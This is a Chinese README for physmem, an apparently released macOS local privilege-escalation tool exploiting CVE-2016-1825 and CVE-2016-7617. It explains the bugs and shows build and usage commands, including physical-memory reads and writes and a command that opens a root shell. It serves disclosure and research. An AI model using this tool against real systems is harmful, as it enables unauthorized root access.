physmem 是一个物理内存检查工具和本地权限提升工具,适用于 macOS 10.12.1 及更早版本。它利用 CVE-2016-1825 或 CVE-2016-7617 中的一个,具体取决于部署目标。这两个漏洞几乎完全相同,并且可以利用完全相同的技术进行利用。它们分别在 OS X El Capitan 10.11.5 和 macOS Sierra 10.12.2 中被修复。
由于这些是逻辑错误,利用非常简单可靠。在使用正确方法利用这些漏洞运行程序的数万次中,我从未遇到内核恐慌。
CVE-2016-1825 是 IOHIDevice 中的一个问题,允许设置任意 IOKit 注册表属性。特别地,特权属性 IOUserClientClass 可以被非特权进程控制。我尚未在 Yosemite 之前的平台上进行测试,但该漏洞最早出现在 Mac OS X Leopard 的源代码中。
CVE-2016-7617 是 AppleBroadcomBluetoothHostController 中几乎相同的问题。该漏洞似乎是在 OS X El Capitan 中引入的。由 Google Project Zero 的 Ian Beer(问题 974)和 Radu Motspan 报告。
通过在命令行中指定部署目标来构建 physmem:
$ make MACOSX_DEPLOYMENT_TARGET=10.10.5
你可以使用 read 命令读取物理内存中的一个字:
$ ./physmem read 0x1000
a69a04f2f59625b3
你可以使用 write 命令写入物理内存:
$ ./physmem write 0x1000 0x1122334455667788
$ ./physmem read 0x1000
1122334455667788
你可以使用 root 命令获得 root shell:
$ ./physmem root
sh-3.2# whoami
root
physmem 代码已发布到公共领域。作为礼节,如果你引用或使用了本代码的任何部分,我请求你注明出处。